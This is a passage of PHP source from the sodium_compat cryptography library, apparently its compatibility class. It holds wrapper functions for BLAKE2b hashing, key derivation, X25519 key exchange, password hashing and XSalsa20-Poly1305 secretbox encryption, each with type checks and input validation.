     *                         (To be 100% compatible with ext/libsodium)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash_init(
        #[\SensitiveParameter]
        $key = '',
        $length = self::CRYPTO_GENERICHASH_BYTES
    ) {
        /* Type checks: */
        if (is_null($key)) {
            $key = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2);

        /* Input validation: */
        if (!empty($key)) {
            if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
            }
            if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
            }
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_generichash_init($key, $length);
        }
        if (self::use_fallback('crypto_generichash_init')) {
            return (string) call_user_func('\\Sodium\\crypto_generichash_init', $key, $length);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash_init($key, $length);
        }
        return ParagonIE_Sodium_Crypto::generichash_init($key, $length);
    }

    /**
     * Initialize a BLAKE2b hashing context, for use in a streaming interface.
     *
     * @param string|null $key If specified must be a string between 16 and 64 bytes
     * @param int $length      The size of the desired hash output
     * @param string $salt     Salt (up to 16 bytes)
     * @param string $personal Personalization string (up to 16 bytes)
     * @return string          A BLAKE2 hashing context, encoded as a string
     *                         (To be 100% compatible with ext/libsodium)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash_init_salt_personal(
        #[\SensitiveParameter]
        $key = '',
        $length = self::CRYPTO_GENERICHASH_BYTES,
        $salt = '',
        $personal = ''
    ) {
        /* Type checks: */
        if (is_null($key)) {
            $key = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($personal, 'string', 4);
        $salt = str_pad($salt, 16, "\0", STR_PAD_RIGHT);
        $personal = str_pad($personal, 16, "\0", STR_PAD_RIGHT);

        /* Input validation: */
        if (!empty($key)) {
            /*
            if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
            }
            */
            if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
            }
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash_init_salt_personal($key, $length, $salt, $personal);
        }
        return ParagonIE_Sodium_Crypto::generichash_init_salt_personal($key, $length, $salt, $personal);
    }

    /**
     * Update a BLAKE2b hashing context with additional data.
     *
     * @param string $ctx    BLAKE2 hashing context. Generated by crypto_generichash_init().
     *                       $ctx is passed by reference and gets updated in-place.
     * @param-out string $ctx
     * @param string $message The message to append to the existing hash state.
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress ReferenceConstraintViolation
     */
    public static function crypto_generichash_update(
        #[\SensitiveParameter]
        &$ctx,
        $message
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2);

        if (self::useNewSodiumAPI()) {
            sodium_crypto_generichash_update($ctx, $message);
            return;
        }
        if (self::use_fallback('crypto_generichash_update')) {
            $func = '\\Sodium\\crypto_generichash_update';
            $func($ctx, $message);
            return;
        }
        if (PHP_INT_SIZE === 4) {
            $ctx = ParagonIE_Sodium_Crypto32::generichash_update($ctx, $message);
        } else {
            $ctx = ParagonIE_Sodium_Crypto::generichash_update($ctx, $message);
        }
    }

    /**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_generichash_keygen()
    {
        return random_bytes(self::CRYPTO_GENERICHASH_KEYBYTES);
    }

    /**
     * @param int $subkey_len
     * @param int $subkey_id
     * @param string $context
     * @param string $key
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kdf_derive_from_key(
        $subkey_len,
        $subkey_id,
        $context,
        #[\SensitiveParameter]
        $key
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($subkey_len, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($subkey_id, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($context, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);
        $subkey_id = (int) $subkey_id;
        $subkey_len = (int) $subkey_len;
        $context = (string) $context;
        $key = (string) $key;

        if ($subkey_len < self::CRYPTO_KDF_BYTES_MIN) {
            throw new SodiumException('subkey cannot be smaller than SODIUM_CRYPTO_KDF_BYTES_MIN');
        }
        if ($subkey_len > self::CRYPTO_KDF_BYTES_MAX) {
            throw new SodiumException('subkey cannot be larger than SODIUM_CRYPTO_KDF_BYTES_MAX');
        }
        if ($subkey_id < 0) {
            throw new SodiumException('subkey_id cannot be negative');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($context) !== self::CRYPTO_KDF_CONTEXTBYTES) {
            throw new SodiumException('context should be SODIUM_CRYPTO_KDF_CONTEXTBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_KDF_KEYBYTES) {
            throw new SodiumException('key should be SODIUM_CRYPTO_KDF_KEYBYTES bytes');
        }

        $salt = ParagonIE_Sodium_Core_Util::store64_le($subkey_id);
        $state = self::crypto_generichash_init_salt_personal(
            $key,
            $subkey_len,
            $salt,
            $context
        );
        return self::crypto_generichash_final($state, $subkey_len);
    }

    /**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_kdf_keygen()
    {
        return random_bytes(self::CRYPTO_KDF_KEYBYTES);
    }

    /**
     * Perform a key exchange, between a designated client and a server.
     *
     * Typically, you would designate one machine to be the client and the
     * other to be the server. The first two keys are what you'd expect for
     * scalarmult() below, but the latter two public keys don't swap places.
     *
     * | ALICE                          | BOB                                 |
     * | Client                         | Server                              |
     * |--------------------------------|-------------------------------------|
     * | shared = crypto_kx(            | shared = crypto_kx(                 |
     * |     alice_sk,                  |     bob_sk,                         | <- contextual
     * |     bob_pk,                    |     alice_pk,                       | <- contextual
     * |     alice_pk,                  |     alice_pk,                       | <----- static
     * |     bob_pk                     |     bob_pk                          | <----- static
     * | )                              | )                                   |
     *
     * They are used along with the scalarmult product to generate a 256-bit
     * BLAKE2b hash unique to the client and server keys.
     *
     * @param string $my_secret
     * @param string $their_public
     * @param string $client_public
     * @param string $server_public
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_kx(
        #[\SensitiveParameter]
        $my_secret,
        $their_public,
        $client_public,
        $server_public,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($my_secret, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($their_public, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($client_public, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($server_public, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($my_secret) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($their_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($client_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($server_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 4 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI() && !$dontFallback) {
            if (is_callable('sodium_crypto_kx')) {
                return (string) sodium_crypto_kx(
                    $my_secret,
                    $their_public,
                    $client_public,
                    $server_public
                );
            }
        }
        if (self::use_fallback('crypto_kx')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_kx',
                $my_secret,
                $their_public,
                $client_public,
                $server_public
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::keyExchange(
                $my_secret,
                $their_public,
                $client_public,
                $server_public
            );
        }
        return ParagonIE_Sodium_Crypto::keyExchange(
            $my_secret,
            $their_public,
            $client_public,
            $server_public
        );
    }

    /**
     * @param string $seed
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kx_seed_keypair(
        #[\SensitiveParameter]
        $seed
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1);

        $seed = (string) $seed;

        if (ParagonIE_Sodium_Core_Util::strlen($seed) !== self::CRYPTO_KX_SEEDBYTES) {
            throw new SodiumException('seed must be SODIUM_CRYPTO_KX_SEEDBYTES bytes');
        }

        $sk = self::crypto_generichash($seed, '', self::CRYPTO_KX_SECRETKEYBYTES);
        $pk = self::crypto_scalarmult_base($sk);
        return $sk . $pk;
    }

    /**
     * @return string
     * @throws Exception
     */
    public static function crypto_kx_keypair()
    {
        $sk = self::randombytes_buf(self::CRYPTO_KX_SECRETKEYBYTES);
        $pk = self::crypto_scalarmult_base($sk);
        return $sk . $pk;
    }

    /**
     * @param string $keypair
     * @param string $serverPublicKey
     * @return array{0: string, 1: string}
     * @throws SodiumException
     */
    public static function crypto_kx_client_session_keys(
        #[\SensitiveParameter]
        $keypair,
        $serverPublicKey
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($serverPublicKey, 'string', 2);

        $keypair = (string) $keypair;
        $serverPublicKey = (string) $serverPublicKey;

        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) {
            throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($serverPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) {
            throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes');
        }

        $sk = self::crypto_kx_secretkey($keypair);
        $pk = self::crypto_kx_publickey($keypair);
        $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $serverPublicKey));
        self::crypto_generichash_update($h, $pk);
        self::crypto_generichash_update($h, $serverPublicKey);
        $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        return array(
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                0,
                self::CRYPTO_KX_SESSIONKEYBYTES
            ),
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                self::CRYPTO_KX_SESSIONKEYBYTES,
                self::CRYPTO_KX_SESSIONKEYBYTES
            )
        );
    }

    /**
     * @param string $keypair
     * @param string $clientPublicKey
     * @return array{0: string, 1: string}
     * @throws SodiumException
     */
    public static function crypto_kx_server_session_keys(
        #[\SensitiveParameter]
        $keypair,
        $clientPublicKey
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($clientPublicKey, 'string', 2);

        $keypair = (string) $keypair;
        $clientPublicKey = (string) $clientPublicKey;

        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) {
            throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($clientPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) {
            throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes');
        }

        $sk = self::crypto_kx_secretkey($keypair);
        $pk = self::crypto_kx_publickey($keypair);
        $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $clientPublicKey));
        self::crypto_generichash_update($h, $clientPublicKey);
        self::crypto_generichash_update($h, $pk);
        $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        return array(
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                self::CRYPTO_KX_SESSIONKEYBYTES,
                self::CRYPTO_KX_SESSIONKEYBYTES
            ),
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                0,
                self::CRYPTO_KX_SESSIONKEYBYTES
            )
        );
    }

    /**
     * @param string $kp
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kx_secretkey(
        #[\SensitiveParameter]
        $kp
    ) {
        return ParagonIE_Sodium_Core_Util::substr(
            $kp,
            0,
            self::CRYPTO_KX_SECRETKEYBYTES
        );
    }

    /**
     * @param string $kp
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kx_publickey($kp)
    {
        return ParagonIE_Sodium_Core_Util::substr(
            $kp,
            self::CRYPTO_KX_SECRETKEYBYTES,
            self::CRYPTO_KX_PUBLICKEYBYTES
        );
    }

    /**
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @param int|null $alg
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash(
        $outlen,
        #[\SensitiveParameter]
        $passwd,
        $salt,
        $opslimit,
        $memlimit,
        $alg = null
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt,  'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5);

        if (self::useNewSodiumAPI()) {
            if (!is_null($alg)) {
                ParagonIE_Sodium_Core_Util::declareScalarType($alg, 'int', 6);
                return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit, $alg);
            }
            return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit);
        }
        if (self::use_fallback('crypto_pwhash')) {
            return (string) call_user_func('\\Sodium\\crypto_pwhash', $outlen, $passwd, $salt, $opslimit, $memlimit);
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP'
        );
    }

    /**
     * !Exclusive to sodium_compat!
     *
     * This returns TRUE if the native crypto_pwhash API is available by libsodium.
     * This returns FALSE if only sodium_compat is available.
     *
     * @return bool
     */
    public static function crypto_pwhash_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return true;
        }
        if (self::use_fallback('crypto_pwhash')) {
            return true;
        }
        return false;
    }

    /**
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash_str(
        #[\SensitiveParameter]
        $passwd,
        $opslimit,
        $memlimit
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3);

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_pwhash_str($passwd, $opslimit, $memlimit);
        }
        if (self::use_fallback('crypto_pwhash_str')) {
            return (string) call_user_func('\\Sodium\\crypto_pwhash_str', $passwd, $opslimit, $memlimit);
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP'
        );
    }

    /**
     * Do we need to rehash this password?
     *
     * @param string $hash
     * @param int $opslimit
     * @param int $memlimit
     * @return bool
     * @throws SodiumException
     */
    public static function crypto_pwhash_str_needs_rehash(
        #[\SensitiveParameter]
        $hash,
        $opslimit,
        $memlimit
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3);

        // Just grab the first 4 pieces.
        $pieces = explode('$', (string) $hash);
        $prefix = implode('$', array_slice($pieces, 0, 4));

        // Rebuild the expected header.
        /** @var int $ops */
        $ops = (int) $opslimit;
        /** @var int $mem */
        $mem = (int) $memlimit >> 10;
        $encoded = self::CRYPTO_PWHASH_STRPREFIX . 'v=19$m=' . $mem . ',t=' . $ops . ',p=1';

        // Do they match? If so, we don't need to rehash, so return false.
        return !ParagonIE_Sodium_Core_Util::hashEquals($encoded, $prefix);
    }

    /**
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash_str_verify(
        #[\SensitiveParameter]
        $passwd,
        #[\SensitiveParameter]
        $hash
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2);

        if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_pwhash_str_verify($passwd, $hash);
        }
        if (self::use_fallback('crypto_pwhash_str_verify')) {
            return (bool) call_user_func('\\Sodium\\crypto_pwhash_str_verify', $passwd, $hash);
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP'
        );
    }

    /**
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256(
        $outlen,
        #[\SensitiveParameter]
        $passwd,
        $salt,
        $opslimit,
        $memlimit
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt,  'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_pwhash_scryptsalsa208sha256(
                (int) $outlen,
                (string) $passwd,
                (string) $salt,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_pwhash_scryptsalsa208sha256',
                (int) $outlen,
                (string) $passwd,
                (string) $salt,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP'
        );
    }

    /**
     * !Exclusive to sodium_compat!
     *
     * This returns TRUE if the native crypto_pwhash API is available by libsodium.
     * This returns FALSE if only sodium_compat is available.
     *
     * @return bool
     */
    public static function crypto_pwhash_scryptsalsa208sha256_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return true;
        }
        if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) {
            return true;
        }
        return false;
    }

    /**
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256_str(
        #[\SensitiveParameter]
        $passwd,
        $opslimit,
        $memlimit
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_pwhash_scryptsalsa208sha256_str(
                (string) $passwd,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str',
                (string) $passwd,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP'
        );
    }

    /**
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256_str_verify(
        #[\SensitiveParameter]
        $passwd,
        #[\SensitiveParameter]
        $hash
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2);

        if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_pwhash_scryptsalsa208sha256_str_verify(
                (string) $passwd,
                (string) $hash
            );
        }
        if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str_verify')) {
            return (bool) call_user_func(
                '\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str_verify',
                (string) $passwd,
                (string) $hash
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP'
        );
    }

    /**
     * Calculate the shared secret between your secret key and your
     * recipient's public key.
     *
     * Algorithm: X25519 (ECDH over Curve25519)
     *
     * @param string $secretKey
     * @param string $publicKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_scalarmult(
        #[\SensitiveParameter]
        $secretKey,
        $publicKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_scalarmult($secretKey, $publicKey);
        }
        if (self::use_fallback('crypto_scalarmult')) {
            return (string) call_user_func('\\Sodium\\crypto_scalarmult', $secretKey, $publicKey);
        }

        /* Output validation: Forbid all-zero keys */
        if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) {
            throw new SodiumException('Zero secret key is not allowed');
        }
        if (ParagonIE_Sodium_Core_Util::hashEquals($publicKey, str_repeat("\0", self::CRYPTO_BOX_PUBLICKEYBYTES))) {
            throw new SodiumException('Zero public key is not allowed');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::scalarmult($secretKey, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::scalarmult($secretKey, $publicKey);
    }

    /**
     * Calculate an X25519 public key from an X25519 secret key.
     *
     * @param string $secretKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     * @psalm-suppress MixedArgument
     */
    public static function crypto_scalarmult_base(
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_scalarmult_base($secretKey);
        }
        if (self::use_fallback('crypto_scalarmult_base')) {
            return (string) call_user_func('\\Sodium\\crypto_scalarmult_base', $secretKey);
        }
        if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) {
            throw new SodiumException('Zero secret key is not allowed');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::scalarmult_base($secretKey);
        }
        return ParagonIE_Sodium_Crypto::scalarmult_base($secretKey);
    }

    /**
     * Authenticated symmetric-key encryption.
     *
     * Algorithm: XSalsa20-Poly1305
     *
     * @param string $plaintext The message you're encrypting
     * @param string $nonce A Number to be used Once; must be 24 bytes
     * @param string $key Symmetric encryption key
     * @return string           Ciphertext with Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox(
        #[\SensitiveParameter]
        $plaintext,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_secretbox($plaintext, $nonce, $key);
        }
        if (self::use_fallback('crypto_secretbox')) {
            return (string) call_user_func('\\Sodium\\crypto_secretbox', $plaintext, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox($plaintext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox($plaintext, $nonce, $key);
    }

    /**
     * Decrypts a message previously encrypted with crypto_secretbox().
     *
     * @param string $ciphertext Ciphertext with Poly1305 MAC
     * @param string $nonce      A Number to be used Once; must be 24 bytes
     * @param string $key        Symmetric encryption key
     * @return string            Original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_secretbox_open(
        $ciphertext,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_secretbox_open($ciphertext, $nonce, $key);
        }
        if (self::use_fallback('crypto_secretbox_open')) {
            return call_user_func('\\Sodium\\crypto_secretbox_open', $ciphertext, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox_open($ciphertext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox_open($ciphertext, $nonce, $key);
    }

    /**
     * Return a secure random key for use with crypto_secretbox
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_secretbox_keygen()
    {
        return random_bytes(self::CRYPTO_SECRETBOX_KEYBYTES);
    }

    /**
     * Authenticated symmetric-key encryption.
     *
     * Algorithm: XChaCha20-Poly1305
     *
     * @param string $plaintext The message you're encrypting
     * @param string $nonce     A Number to be used Once; must be 24 bytes
     * @param string $key       Symmetric encryption key
     * @return string           Ciphertext with Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox_xchacha20poly1305($plaintext, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
